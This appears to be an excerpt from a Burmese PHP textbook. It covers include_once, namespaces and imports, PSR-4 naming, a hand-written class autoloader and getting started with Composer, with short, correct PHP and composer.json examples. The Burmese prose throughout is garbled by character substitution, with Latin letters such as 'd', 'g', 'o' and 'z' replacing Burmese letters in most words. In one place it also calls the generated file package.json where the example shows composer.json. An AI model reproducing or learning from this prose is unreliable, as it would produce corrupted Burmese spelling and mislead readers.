ကုဒ်oုိင်တစ်ခုကို တစ်ကြကိမ်ထက်ပုိပြပီး Include လုပ်မိရင်မလုိလားအပ်တဲ့ gပဿနာdတွ တက်နိုင်ပါတယ်။

include('Math.php');
include('Math.php');

ပထမတစ်ကြကိမ်  Include  လုပ်စဉ်မှာ  Math.php ထဲကကုဒ်dတွကို  အကုန်ထည့်သွင်းသွားသလုိ dနာက်
တစ်ကြကိမ်  Include  လုပ်စဉ်မှာလည်း  dနာက်တစ်ကြကိမ်  အကုန်ထပ်မံထည့်သွင်းသွားမှာgoစ်လ့ုိ  ကုဒ်dတွ
ထပ်ကုန်ပါပြပီ။ တူညီနဲ့ Function Name နဲ့ နှစ်ခါdရးမိသလုိdတွgoစ်ပြပီး Error dတွ တက်ကုန်ပါလိမ့်မယ်။
ဒီgပဿနာကို dရာှင်ရှားလိုရင် include_once Statement ကို သံုးနိုင်ပါတယ်။ 

include_once('Math.php');
include_once('Math.php');

ပထမတစ်ကြကိမ် include_once နဲ့ ရယူထည့်သွင်းစဉ်မှာ အရင်ကအ့ဲဒီoုိင်ကို မယူoူးလ့ုိ ရယူထည့်သွင်း
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dပးသွားပါလိမ့်မယ်။  dနာက်တစ်ကြကိမ်  include_once နဲ့  ထပ်မံထည့်သွင်းတဲ့အခါ  အ့ဲဒီoုိင်ကို  တစ်
ကြကိမ် ထည့်သွင်းoူးပြပီးgoစ်လ့ုိ  include_once က ထပ်မံထည့်သွင်းdတာ့မှာ မဟုတ်ပါzူး။  ဒီdရးနည်း
က  Condition  dတွစစ်ပြပီး  အdgခအdနdပါ်မူတည်ပြပီး  oုိင်dတွကို  Include  လုပ်ရတဲ့အခါ  အသံုးဝင်နိုင်ပါ
တယ်။

အလားတူပဲ  require_once Statement  လည်းရှိပါdသးတယ်။  Statement  ကွဲသွားdပမယ့် သdzာ
သzာဝက include_once နဲ့ အတူတူပဲgoစ်ပါတယ်။

Namespaces
ဒီလုိကုဒ်oုိင်dတွကို  ရယူအသံုးgပုတဲ့အခါ ကြကုံရနိုင်တဲ့  gပဿနာတစ်ခုရှိပါတယ်။ ဥပမာ  -  Math.php နဲ့
Calculator.php ဆိုပြပီး oုိင်နှစ်ခုရှိတယ် ဆိုeကပါစို့။

// Math.php

define('PI', 3.14);
function add($a, $b) {
    return $a + $b;
}

// Calculator.php

function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒီoုိင်နှစ်ခုကို အသံုးgပုလုိတဲ့အတွက် အခုလုိ ချတိ်ဆက်ရယူလုိက်မယ်ဆိုရင် အဆင်မdgပdတာ့ပါzူး။
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// App.php

include('Math.php');
include('Calculator.php');

zာgoစ်လ့ုိလဲဆိုdတာ့  Math.php မှာ  add() Function  ရှိdနသလုိ၊  Calculator.php မှာလည်း
add() Function ရိှdနပါတယ်။ PHP   မှာ   Function Name   တရူင်လက်မခံပါzူး  ။ ဒါdeကာင့် ဒီoုိင်နှစ်ခုမှာ
Function Name dတတွိုက်dနတဲ့အတွက် Cannot redeclare Error တက်ပြပီး အဆင်မdgပdတာ့ပါzူး။

ဒီလုိgပဿနာမျ ို း မgoစ်ရdအာင် Namespace နဲ့dgoရှင်းလ့ုိရပါတယ်။ ကုဒ်dတွdရးတဲ့အခါ ဒီအတိုင်းမdရး
zဲ၊ သ့ူ Namespace နဲ့သူ dရးdပးလိုက်မယ်ဆိုရင်dတာ့ ဒီgပဿနာ မတက်dတာ့ပါzူး။

// Math.php

namespace Math;
define('PI', 3.14);
function add($a, $b) {
    return $a + $b;
}

// Calculator.php

namespace Calculator;
function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒါဆိုရင်dတာ့  အဆင်dgပသွားပါပြပီ။  သက်ဆိုင်ရာ  ကုဒ်oုိင်မှာ  Namespace  dလးdတွ  deကညာdပးလုိက်
တာပါ။  Namespace  အမည်ကို  မိမိနှစ်သက်ရာအမည်  dပးနိုင်ပါတယ်။  အခုဆိရုင်  Math.php ထဲက
add() ဟာ ရိုးရိုး  add() မဟုတ်dတာ့ပါzူး။  Math Namespace dအာက်မှာရှိတဲ့  add() goစ်သွားပါ
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ပြပီ။ အလားတူပဲ Calculator.php ထဲက add() ဟာလည်း Calculator Namespace dအာက်မှာရှိ
တဲ့  add() goစ်သွားလ့ုိ  Function အမည်တူdနdပမယ့် Namespace မတူတဲ့အတွက်deကာင့် အဆင်dgပ
သွားမှာပဲ goစ်ပါတယ်။

ဒီလုိ  သ့ူ  Namespace  နဲ့သူ  dရးသားထားတဲ့  ကုဒ်dတွကို  အသံုးချလုိရင်  သက်ဆိုင်ရာ  Namespace
တည်dနရာ မှန်dအာင်dပးပြပီးdတာ့ သံုးရပါတယ်။ ဒီလုိပါ –

// App.php

include('Math.php');
include('Calculator.php');
echo Math\add(1, 2);                // 3
echo Calculator\add([ 2, 3, 4 ]);   // 9

နမူနာမှာ Math.php နဲ့  Calculator.php နှစ်ခုလံုးကို  Include လုပ်ထားပါတယ်။ ပြပီးတဲ့အခါ သက်ဆိုင်ရာ
Namespace  တည်dနရာအတိအကျdပးပြပီးdတာ့  add() Function  dတွကိုdခါ်ယူအသံုးgပုထားတာ
dတွ့gမင်ရမှာပဲ  goစ်ပါတယ်။  နမူနာမှာ  dတွ့ရတဲ့အတိုင်း  Namespace  တည်dနရာdရးသားoို့အတွက်  \
သdက[တကို အသုံးgပုdရးသားdပးရပါတယ်။

ဒီလုိလည်း goစ်နိုင်ပါdသးတယ်။

// App.php

namespace Math;
include('Math.php');
include('Calculator.php');
echo add(1, 2);                      // 3
echo \Calculator\add([ 2, 3, 4 ]);   // 9

ဒီတစ်ခါ  App.php  မှာလည်း  Namespace  ရိှသွားတာပါ။  သူရဲ့  Namespace  ကလည်း  Math  goစ်တဲ့
အတွက် တgခားoုိင်ထဲမှာရှိdနတဲ့ Math Namespace dအာက်က add() Function ကို တုိက်ရိုက် dခါ်ယူ
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အသံုးgပုနိုင်တာကို  dတွ့ရမှာပဲ  goစ်ပါတယ်။  Namespace  တူdနတဲ့အတွက်deကာင့်ပါ။  ဒါdပမယ့်
Calculator Namespace  dအာက်က  add() ကိုdတာ့  Calculator\add() လ့ုိdခါ်လ့ုိ မရdတာ့ပါ
zူး။ ဒါဆိုရင် တစ်ကယ်dခါ်ယူသွားမှာက Math\Calculator\add() ကို dခါ်ယူသွားမှာgoစ်လ့ုိ မရှိ
တဲ့အတွက်  Error  တက်ပါလိမ့်မယ်။ သူကိုယ်တိုင်က  Math Namespace  dအာက်မှာရှိdနလ့ုိ ဆက်လက်
dခါ်ယူအသံုးgပုမှု အားလံုးက Math Namespace dအာက်မှာပဲ goစ်dနမှာမ့ုိလုိပါ။

ဒါdeကာင့် Calculator Namespace dအာက်က် add() ကို dခါ်ယူလုိတဲ့အခါ \Calculator\add()
ဆိုပြပီးdတာ့ dရှ့ ဆုံးမှာလည်း \ သdက[တတစ်ခု ပါဝင်သွားတာကို သတိgပုရမှာပဲ goစ်ပါတယ်။ အ့ဲဒီdရှ့ဆုံး
က  \  Global  Namespace    သ့ုိမဟုတ်    Root  Namespace   လ့ုိဆိုနိုင်ပါတယ်။  ဒါdeကာင့်  dခါ်ယူတဲ့အခါ
Math  Namespace  dအာက်ကdန  dခါ်ယူo့ုိ  မကြကိုးစားdတာ့zဲ  Global  Namespace  dအာက်က
Calculator Namespace goစ်သွားတဲ့အတွက် အဆင်dgပသွားပါပြပီ။

Namespace dတွမှာ Sub-Namespace လည်းရှိလ့ုိရပါdသးတယ်။ ဒီလုိပါ –

// Math.php

namespace Math\Basic;
define('PI', 3.14);
function add($a, $b) {
    return $a + $b;
}

ဒါဆိုရင်  Math.php  oုိင်ထဲက  ကုဒ်dတွက  Math  Namespace  dအာက်က  Basic  Sub-Namespace
dအာက်ကကုဒ်dတွ goစ်သွားပါပြပီ။ ဒီလုိမျ ို း Sub-Namespace dတွကို လုိအပ်သလုိ အဆင့်ဆင့် dပးလ့ုိ ရ
နိုင်ပါတယ်။  ဥပမာ  Library\Helper\Math\Basic လုိမျ ို းပါ။  dခါ်ယူအသံုးgပုချနိ်မှာ  သတ်မှတ်
Sub-Namespace အဆင့်ဆင့်မှန်dအာင်dပးပြပီးdခါ်ရင် ရပါပြပီ။ ဒီလုိပါ –
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// App.php

namespace Math;
include('Math.php');
echo Basic\add(1, 2);                      // 3

နမူနာမှာ  App.php  က  Math Namespace  dအာက်မှာပဲ  ဆက်ရှိdနပါdသးတယ်။ ဒါdeကာင့်  Basic\
add() လ့ုိdခါ်လုိက်တဲ့အခါ အgပည့်အစုံက Math\Basic\add() goစ်သွားမှာပါ။

ဒီdလာက်ဆိုရင်  Namespace  ကို  လက်dတွ့စတင်အသံုးgပုလ့ုိ  ရနိုင်ပြပီgoစ်ပါတယ်။  ကုဒ်oိုင်တစ်ခုထဲ
Namespace  နှစ်ခုသံုးခု  ထည့်dရးလို့ရတဲ့  dရးနည်းdတွ  ရှိdသးdပမယ့်  အသံုးမgပုသင့်တဲ့  dရးနည်းလ့ုိ
သတ်မှတ်ထားeကလ့ုိ ထည့်မdgပာdတာ့ပါzူး။

Namespace Import
သက်ဆိုင်ရာ  Namespace  dအာက်ကလုပ်dဆာင်ချက်dတွကို  ရယူအသံုးgပုလုိတိုင်း  Namespace
တည်dနရာကို dgပာပြပီး သံုးdနစရာမလုိdအာင် use Statement နဲ့ Import လုပ်ထားလိုက်လ့ုိလည်း ရနိုင်
ပါတယ်။ ဥပမာ – အခုလုိ dရးထားတယ် ဆိုeကပါစို့။

// Calculator.php

namespace Library\Helper\Math\Basic;
class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒီ ကုဒ်ကိုအသံုးgပုလိုတဲ့အခါ သံုးရမယ့်ပံုစံက ဒီလုိgoစ်နိုင်ပါတယ်။
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// App.php

include('Calculator.php');
$calc1 = new Library\Helper\Math\Basic\Calculator;
$calc2 = new Library\Helper\Math\Basic\Calculator;

တစ်ခါသံုးချင်တိုင်းမှာ သ့ူ  Namespace အတိုင်း အကုန်ထပ်ခါထပ်ခါdရးdပးပြပီး သံုးdနရတာ အဆင်မdgပ
ပါzူး။ အဆင်dgပသွားdအာင် ဒီလုိ dရးလုိက်လ့ုိ ရနိုင်ပါတယ်။

// App.php

include('Calculator.php');
use Library\Helper\Math\Basic\Calculator;
$calc1 = new Calculator;
$calc2 = new Calculator;

use Statement နဲ့ Calculator Class ကို Namespace အgပည့်အစုံနဲ့ တစ်ကြကိမ် Import  လုပ်ထားလိုက်
တဲ့အခါ  dနာက်ပုိင်းမှာ  Calculator  ဆိုတဲ့  Class  အမည်နဲ့တင်  ဆက်လက်အသံုးgပုလ့ုိ  ရသွားပါပြပီ။  ဒီ
Import လုပ်တဲ့အခါ Alias လုပ်ပြပီး အမည်dgပာင်းချင်ရင်လည်း dgပာင်းထားလ့ုိ ရနိုင်ပါdသးတယ်။

// App.php

include('Calculator.php');
use Library\Helper\Math\Basic\Calculator as Math;
$calc1 = new Math;
$calc2 = new Math;

Calculator Class  ကို  Import  လုပ်ပြပီး  Math  လ့ုိ  Alias  လုပ်dပးလိုက်တာပါ။  ဒါdeကာင့် dနာက်ပုိင်းမှာ
Math ဆိုတဲ့အမည်နဲ့ ဆက်သုံးလ့ုိ ရသွားပြပီgoစ်ပါတယ်။
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PSR-4
PHP  မှာ  PHP Standard Recommendation  လ့ုိdခါ်တဲ့  အများလုိက်နာ အသံုးgပုသင့်dသာ သတ်မှတ်
ချက်များ  ရှိပါတယ်။  အ့ဲဒီသတ်မှတ်ချက်dတွထဲက  Namespace  နဲ့ပက်သက်ရင်  အdရးကြကီးတာကdတာ့
PSR-4  လ့ုိdခါ်တဲ့  Class  Autoloader  သတ်မှတ်ချက်ပဲ  goစ်ပါတယ်။  Class Autoloader  အdeကာင်းကို
ခဏနေdနdတာ့ ဆက်လက်doာ်gပပါမယ်။  Class  dတွ  Namespace  dတွကို  အမည်dပးတဲ့အခါ dပးသင့်တဲ့
နည်းလမ်းdတွကို သတ်မှတ်dပးထားတာပါ။

- https://www.php-fig.org/psr/psr-4

Namespace  dတွdပးတဲ့အခါ  ကြကိုက်တဲ့အမည်  dပးလ့ုိရပါတယ်။  ကြကိုက်သdလာက်  Sub-Namespace
dတွ သံုးလ့ုိရပါတယ်။ အ့ဲဒီလုိ ကိုယ်dပးချင်သလုိ dပးလုိ့ရတယ်ဆိုတိုင်းသာ dပးeကမယ်ဆိုရင် နားလည်
အသံုးgပုရ ခက်ကုန်ပါလိမ့်မယ်။ ဒါdeကာင့် PSR-4 သတ်မှတ်ချက် အပါအဝင် လုိက်နာသင့်တဲ့ အမည်dပးပံု
dလးdတွက ဒီလုိပါ –

၁။  Class  အမည်dတွ၊  Namespace  dတွ dပးတဲ့အခါ  Capital Case    ကို  အသံုးgပုသင့်ပါတယ်  ။  Capital
Case  ဆိုတာ ဒီလုိမျ ို းပါ။  Math, CarFactory, UserViewManager စသည်goင့် dရှ့ ဆုံးစာလံုး
အပါအဝင် Word တစ်ခုစတိုင်း စာလံုးအကြကီးနဲ့ စdပးရတဲ့ dရးဟန်goစ်ပါတယ်။ Space dတွ ထည့်မdပးရ
ပါzူး။ Interface dတွ Traits dတွကိုလည် ဒီအမည်dပးနည်းအတိုင်းပဲ dပးရပါတယ်။

၂။ ကုဒ်oုိင်ရဲ့အမည်နဲ့ အ့ဲဒီကုဒ်oုိင်ထဲမှာရှိdနတဲ့ အဓိက Class   ရဲ့အမည်   တူသင့်ပါတယ်။ ဥပမာ - အဓိက
Class  အမည်က  CarFactory ဆိုရင် oုိင်ရဲ့အမည်က  CarFactory.php goစ်သင့်ပါတယ်။ စာလံုး
အကြကီး အdသးကအစ အတူတူပဲ goစ်သင့်ပါတယ်။

၃။  Namespace    လမ်းdeကာင်းနဲ့  oုိဒါလမ်းdeကာင်း   တူသင့်ပါတယ်။  ဥပမာ  -  Namesapce  နဲ့  Class
အမည်အgပည့်အစုံက  Library\Helper\Calculator ဆိရုင်  Calculator  Class  ရှိdနတဲ့
Calculator.php oုိင်ဟာ  Library  oုိဒါထဲက  Helper  oုိဒါထဲမှာ ရှိသင့်ပါတယ်။ ဒါdeကာင့် oုိင်  Path
လမ်းdeကာင်းကလည်း Namespace နဲ့အတူတူ Library\Helper\Calculator.php goစ်သင့်ပါ
တယ်။ ဒီdတာ့ Namespace ကို eကည့်လုိက်ယံုနဲ့ oုိင်ရဲ့တည်dနရာကိုပါ သိရှိနိုင်သွားပါပြပီ။

https://www.php-fig.org/psr/psr-4/
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ဒါဟာလက်dတွ့ကုဒ်dတွ dရးသားတဲ့အခါ ရှင်းလင်းနားလည်ရလွယ်တဲ့  ကုဒ်dတွgoစ်dစo့ုိအတွက် အdရး
ပါတဲ့ သတ်မှတ်ချက်များပဲ goစ်ပါတယ်။

Class Autoload
PHP မှာ အလွန်အသံုးဝင်တဲ့  Class Autoload လ့ုိdခါ်တဲ့ လုပ်dဆာင်ချက်တစ်မျ ို း ရှိပါတယ်။ ပံုမှန်ဆိုရင်
ကုဒ်dတွကို ဒီလိdုရးdပးရပါတယ်။

// Library/Helper/Calculator.php

namespace Library\Helper;
class Calculator
{
    public function add($nums) {
        return array_sum($nums);
    }
}

ဒါက PSR-4 သတ်မှတ်ချက်နဲ့အညီ Library oုိဒါထဲက Helper oုိဒါထဲက Calculator.php မှာ dရးထားတဲ့
ကုဒ်goစ်ပါတယ်။  Class  အမည်ကို  oုိင်အမည်နဲ့  တူdအာင်dပးထားပြပီး  Namespace  ကို  oုိဒါ  Path
လမ်းdeကာင်းအတိုင်း dပးထားပါတယ်။ ဒီ Class ကို အသံုးgပုလုိတဲ့အခါ အခုလုိ သံုးရမှာပါ –

// App.php

include('Library/Helper/Calculator.php');
use Library\Helper\Calculator;
$calc = new Calculator;
echo $calc->add([1, 2]); // 3

include Statement  နဲ့ oုိင်ကိုအရင်  Include  လုပ်ပြပီး၊  use Statement  နဲ့  Namespace  ကို  Import
လုပ်ထားပါတယ်။ အလုပ်dတာ့လုပ်ပါတယ်။ ဒါdပမယ့် include လည်းလုပ်ရတယ်၊  use လည်းလုပ်ရ
တယ်ဆိုdတာ့ ပံုစံတူ နှစ်ခါdရးရသလုိ goစ်dနပါတယ်။
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Class Autoload ဆိုတာကdတာ့ Class တစ်ခုကို သုံးလုိက်တာနဲ့ အလုိအdလျှာက် include လုပ်dပးdစ
နိုင်တဲ့ နည်းလမ်းgoစ်ပါတယ်။ include တစ်ခါလုပ်၊ သုံးo့ုိအတွက်  use တစ်ခါလုပ်dနစရာမလုိdတာ့ပါ
zူး။ ဒီသdzာသzာဝ ရရှိo့ုိအတွက် အခုလုိdရးနိုင်ပါတယ်။

// autoload.php

spl_autoload_register(function($class) {
$class = str_replace("\\", "/", $class);
include($class . ".php");

});

spl_autoload_register() ဆိုတဲ့ Standard Function ကို Argument အdနနဲ့ Function တစ်ခု
dပးရပါတယ်။ အ့ဲဒီ Function က Class တစ်ခုကို အသံုးgပုလုိက်တိုင်းမှာ အလုိအdလျှာက် အလုပ်လုပ်မှာ
ပါ။  $class Variable  ထဲမှာ  အလုပ်လုပ်သွားတဲ့  Class  ရဲ့  Namespace  အgပည့်အစုံရှိပါတယ်။
Namespace  မှာ  \  သdက[တကိုသံုးပြပီး  Include  မှာ  /  သdက[တကို  သံုးတဲ့အတွက်  str_replace()
Function  ကိုသံုးပြပီး  Namespace  မှာပါတဲ့  \  သdက[တdတွကို  /  သdက[တနဲ့ အစားထုိးထားပါတယ်။ ပြပီး
တဲ့အခါ  Include  လုပ်dပးလုိက်လို့  Class  ကို  သံုးလုိက်တာနဲ့  Class  oုိင်ကို  Include  လုပ်dပးတဲ့
လုပ်dဆာင်ချက်ကို ရရှိသွားမှာပဲ goစ်ပါတယ်။

ဒါdeကာင့် အသုံးgပုလုိတဲ့အခါ ဒီလိdုရးdပးလုိက်ရင် ရပါပြပီ။

// App.php

include('autoload.php');
use Library\Helper\Calculator;
$calc = new Calculator;
echo $calc->add([1, 2]); // 3 
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autoload.php ကို Include လုပ်ထားdပမယ့် Library/Helper/Calculator.php ကိုdတာ့
Include လုပ်စရာမလုိdတာ့ပါzူး။  use နဲ့  Library\Helper\Calculator လ့ုိ dgပာလုိက်ချနိ်မှာ
အလုိအdလျှာက် Include လုပ်dပးသွားတဲ့အတွက် goစ်ပါတယ်။

အခုလည်း  autoload.php ကို  Include  လုပ်ရတာပဲ  မဟုတ်zူးလား။  zာထူးလ့ုိလဲ။  ထူးပါတယ်။
autoload.php တစ်ခုထဲကိုသာ Include လုပ်dပးရတာပါ။  dနာက်ထပ်   Class    dတွသံုးချင်သdလာက်  
သံုး    Include    ထပ်လုပ်dပးစရာ မလုိအပ်dတာ့ပါzူး  ။ dပးထားတဲ့  Namespace  နဲ့  Class  ကသာ  PSR-4
သတ်မှတ်ချက်များနဲ့  ကိုက်ညီoို့ပဲလိုပါdတာ့တယ်။ ဒါဟာ ဆန်းကျယ်ပြပီး  အသံုးဝင်တဲ့  လုပ်dဆာင်ချက်ပဲ
goစ်ပါတယ်။

ဒီလုိ  Class Autoload  ကုဒ်ကို  ကိုယ်တိုင်dရးသားလ့ုိရသလို၊  Composer  လ့ုိdခါ်တဲ့  နည်းပညာကdပးတဲ့
Autoload  လုပ်dဆာင်ချက်ကိုလည်း  အသုံးgပုနိုင်ပါdသးတယ်။  ဒီအdeကာင်းကို  dနာက်တစ်ခန်းမှာ
ဆက်လက်doာ်gပdပးပါမယ်။
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အခန်း (၃၅) – Composer

Composer  ဟာ  PHP  ပdရာZျက်dတွမှာ  မgoစ်မdနလုိအပ်တဲ့  အdရးပါတဲ့  နည်းပညာgoစ်ပါတယ်။
Composer ကိုအသံုးgပုပြပီး PHP Package dတွ တည်dဆာက်လုိ့ရပါတယ်။ အ့ဲဒီ Package dတွကို အများ
ရယူ အသံုးgပုလ့ုိရdအာင် dပးနိုင်ပါတယ်။ အoဲွ့အစည်းအသီးသီးနဲ့  ကမ္ဘာအနှံ့အgပားက  Developer  dတွ
dရးသားdပးထားတဲ့  Package    dတွကို  ကိုယ့်ပdရာZျက်မှာ ထည့်သံုးo့ုိ ရယူdပးနိုင်ပါတယ်  ။ ရယူထားတဲ့
Package မှာ Update dတရွှိလာရင် Upgrade လုပ်dပးနိုင်ပါတယ်။ ဒီလုိမျ ို း PHP Package တည်dဆာက်
gခင်း၊ goန့်dဝgခင်း၊ ရယူgခင်းတို့ကို dဆာင်ရွက်dပးနိုင်လ့ုိ Package Manager လ့ုိ dခါ်နိုင်ပါတယ်။ 

တgခား  Programming  Language  dတွမှာလည်း  အလားတူ  Package  Manager  နည်းပညာdတွ
အသီးသီးရှိeကပါတယ်။ ဥပမာ –  JavaScript  အတွက်  NPM  လ့ုိdခါ်တဲ့  Package Manager  နည်းပညာ
ရိှdနတာပါ။  ဒါdပမယ့်  Composer  ကိုယ်တိုင်ကdတာ့  သ့ူကိုယ်သူ  Dependency  Manager  လ့ုိ  dခါ်ပါ
တယ်။  ကိုယ့်ပdရာZျက်က မီှခိုအားထားdနရတဲ့  Package   Dependency  dတွကို  စီမံdပးနိုင်တဲ့  နည်း
ပညာဆိုတဲ့ အဓိပ္ပါယ်ပါ။ အdခါ်အdဝါ်အနည်းငယ် ကွဲgပားdပမယ့် သdzာသzာဝကdတာ့ အတူတူပါပဲ။

Composer  Install  gပုလုပ်ပံုgပုလုပ်နည်းကို  PHP  Development  Environment  တည်dဆာက်ပုံ
တည်dဆာက်နည်း နမူနာgပထားတဲ့ ဗီွဒီယုိသင်ခန်းစာထဲမှာ ထည့်သွင်းdoာ်gပခဲ့ပြပီး goစ်ပါတယ်။ အကယ်၍
Install မလုပ်ရdသးလ့ုိ လုိအပ်တယ်ဆိုရင် ဒီdနရာမှာdလ့လာပြပီး Install လုပ်နိုင်ပါတယ်။

- https://getcomposer.org/doc/00-intro.md

https://getcomposer.org/doc/00-intro.md
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Composer  ဟာ  Command  Line  နည်းပညာတစ်ခုgoစ်ပါတယ်။  Install  လုပ်ပြပီးပြပီဆိုရင်  Command
Prompt  ကိုoွင့်ပြပီး  စတင်အသံုးgပုလို့ရပါပြပီ။  နမူနာ  စမ်းသပ်eကည့်နိုင်oုိ့  အတွက်  oုိဒါအလွတ်တစ်ခု
htdocs dအာက်မှာ တည်dဆာက်ပြပီး အ့ဲဒီoိုဒါထဲမှာ Command Prompt ကိုoွင့်လုိက်ပါ။

ပထမဆုံး dလ့လာရမယ့် Command ကdတာ့ composer init goစ်ပါတယ်။ ဒီ Command ကို  Run
လုိက်ရင် Composer က dမးခွန်းတစ်ချ ို ့dမးပါလိမ့်မယ်။ 

composer init

ပထမဆုံးdမးခွန်းက Package Name goစ်ပါတယ်။ မိမိနှစ်သက်ရာအမည်ကို dပးနိုင်ပါတယ်။ အမည်dပး
တဲ့အခါ  vendor/name ဆိုတဲ့  Format  မျ ို းနဲ့ dပးရပါတယ်။  vendor dနရာမှာ အoဲွ့အစည်းအမည်နဲ့
name dနရာမှာ ပdရာZျက်ရဲ့အမည်ကို dပးရမှာပါ။ ဥပမာ  -  fairway/app ဆိရုင်  vendor အမည်
fairway goစ်ပြပီး  ပdရာZျက်အမည်  app ဆိုတဲ့အဓိပ္ပါယ်ပါ။  အမည်မdပးရင် သ့ူzာသာ oုိဒါအမည်ကို
eကည့်ပြပီး Default အမည်တစ်ခုကို dပးသွားမှာgoစ်ပါတယ်။

နှစ်သက်ရာအမည်dပးပြပီး  Enter  နှိပ်လုိက်ရင်  ပdရာZျက်  Description  လာdတာင်းပါလိမ့်မယ်။  zာမှမ
dပးdတာ့zဲ  Enter  သာနှိပ်လုိက်ပါ။ ပြပီးတဲ့အခါ  Author  အမည်dမးပါလိမ့်မယ်။ ကိုယ့်နာမည်ကိုယ် ထည့်
ပြပီး  Enter နှိပ်dပးလုိက်လ့ုိရပါတယ်။ ကျန်dမးခွန်းdတွgoစ်တဲ့  Minimal Stability တို့  Package Type တို့
License တို့ကို zာမှgoည့်မdနzဲ အလွတ်အတိုင်းသာ Enter နှိပ်dပးလုိက်ပါ။ လုိအပ်ရင် dနာက်မှdပးလ့ုိရ
ပါတယ်။

Dependency dတွထည့်မလားလ့ုိ dမးလာရင်လည်း no လ့ုိပဲ dgပာလုိက်ပါ။ dနာက်မှပဲ ထည့်ပါdတာ့မယ်။
သူကို  မထည့်ခိုင်းdတာ့ပါzူး။  Dev  Dependency  dတွထည့်မလား  ထပ်dမးရင်လည်း  no လ့ုိပဲ  dgပာ
လုိက်ပါ။ dနာက်ဆုံးမှာ  Confirm  လုပ်ခိုင်းတဲ့အခါ  yes လ့ုိdgပာလုိက်ရင် ပြပီးသွားပါပြပီ။ ကိုယ့် dရးွချယ်မှု
dပါ် မူတည်ပြပီး အခုလုိ  Content  မျ ို း ပါဝင်တဲ့  package.json အမည်နဲ့ oုိင်တစ်ခုကို  Composer  က
တည်dဆာက်dပးသွားတာကို dတွ့ ရမှာပဲ goစ်ပါတယ်။
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 JSON – composer.json 
{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {}
}

ကိုယ့်ပdရာZျက်oုိဒါထဲမှာ  composer.json oုိင်ရှိသွားပြပီဆိုတာနဲ့  အ့ဲဒီoုိဒါဟာ  Composer  Package
တစ်ခု goစ်သွားပါပြပီ။  Download  ရယူထည့်သွင်းလုိတဲ့  Package  dတွကိုစတင်ထည့်သွင်း အသုံးgပုလ့ုိ ရ
သွားပါပြပီ။ Package စာရင်းကို eကည့်ချင်ရင် ဒီလိပ်စာမှာ eကည့်လ့ုိရပါတယ်။

- https://packagist.org

နမူနာစမ်းသပ်နိုင်oုိ့အတွက် အခုလုိ Package တစ်ခုကို ထည့်သွင်းeကည့်နိုင်ပါတယ်။

composer require nesbot/carbon

ဒါဟာ nesbot ဆိုသူ Developer တစ်ဦးdရးသားdပးထားတဲ့  carbon လ့ုိdခါ်တဲ့ ရက်စွဲအချနိ်dတွ စီမံ
dပးနိုင်တဲ့  PHP Package  တစ်ခုကို  Download ရယူထည့်သွင်းလုိက်တာပါ။  Download  ပြပီးသွားတဲ့အခါ
ထူးgခားချက် နှစ်ချက်ကို သတိgပုရပါမယ်။

Composer  က  Download    ရယူထားတဲ့    Package    dတွကို    vendor     လ့ုိdခါ်တဲ့  oုိဒါထဲမှာ   သိမ်းdပးပါ
တယ်။ ဒါdeကာင့် ကိုယ့်ပdရာZျက်oုိဒါထဲမှာ vendor အမည်နဲ့ oုိဒါတစ်ခု ရိှသွားမှာgoစ်ပြပီး oွင့်eကည့်လုိက်
ရင်  Composer  က  Download  ရယူထည့်သွင်းdပးထားတဲ့  Package  dတွကို  dတွ့gမင်ရမှာgoစ်ပါတယ်။
Composer  က  ကိုယ်လုိချင်တဲ့    Package    အgပင်  အ့ဲဒီ    Package    အလုပ်လုပ်oုိ့  လုိအပ်တဲ့  ဆက်စပ်  
Package    dတွကိုပါ   ပူးတွဲ  Download  ယူdပးတာမ့ုိလ့ုိ  vendor ထဲမှာ တစ်ခုထက်ပုိတဲ့  Package  dတွ
dရာက်ရှိdနတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။ ဒါ ထူးgခားချက်ပါ။

https://packagist.org/
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dနာက်ထပ် ထူးgခားချက်အdနနဲ့ composer.json oုိင်ကိုoွင့်eကည့်လုိက်ရင် အခုလုိdတွ့ရပါလိမ့်မယ်။

 JSON – composer.json 
{
    "name": "fairway/app",
    "authors": [
        {
            "name": "Ei Maung",
            "email": "eimg@fairwayweb.com"
        }
    ],
    "require": {
        "nesbot/carbon": "^2.43"
    }
}

require Section  မှာ ထည့်သွင်းလုိက်တဲ့  nesbot/carbon ပါဝင်သွားတာကို  dတွ့gမင်ရမှာ goစ်ပါ
တယ်။ dနာက်က ^2.43 ဆိုတာ Package ရဲ့ Version နံပါတ်ပါ။

Package  dတွရယူပံုdနာက်တစ်နည်းကdတာ့  composer  install Command  goစ်ပါတယ်။
composer install က  composer.json oုိင်ရဲ့  require Section  ကိုeကည့်ပြပီး  အ့ဲဒီစာရင်း
အတိုင်း  Package  dတွကို  တစ်ခုပြပီးတစ်ခု  Download  ရယူdပးမှာ  goစ်ပါတယ်။ ဒါdeကာင့်  ကိုယ်ပdရာ
Zျက်ကို Package အdနနဲ့ အများအသံုးgပုနိုင်o့ုိ dပးတဲ့အခါ ဒီ composer.json oုိင်က အdရးကြကီးသွား
တာပါ။  vendor oုိဒါထဲက  Package  dတွကို  ထည့်dပးစရာမလုိzဲ  ဒီ    composer.json     oုိင်ကို  
dပးလုိက်ယံုနဲ့  ရယူအသံုးgပုသူက ကိုယ့်ပdရာZျက်ရဲ့  Dependency  စာရင်းကို  require Section  မှာ
eကည့်ပြပီး သိနိုင်သွားပါပြပီ။ composer install     ကို   Run   ပြပီး လုိအပ်တဲ့   Dependency   dတွကို အလွယ်  
တစ်ကူ ရယူနိုင်သွားပါပြပီ။

ထည့်သွင်းထားတဲ့  Package dတွကို အသုံးgပုလုိရင် vendor oုိဒါထဲမှာပဲ Composer က ထည့်သွင်းdပး
ထားတဲ့  autoload.php ရဲ့အကူအညီနဲ့  အသံုးgပုနိုင်ပါတယ်။  စမ်းeကည့်နိုင်oို့အတွက်  App.php
အမည်နဲ့ oုိင်တစ်ခု ပdရာZျက်oုိဒါထဲမှာ တည်dဆာက်ပြပီး အခုလုိdရးစမ်းeကည့်နိုင်ပါတယ်။
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 PHP 
<?php
include('vendor/autoload.php');
use Carbon\Carbon;
echo Carbon::now()->addDay();

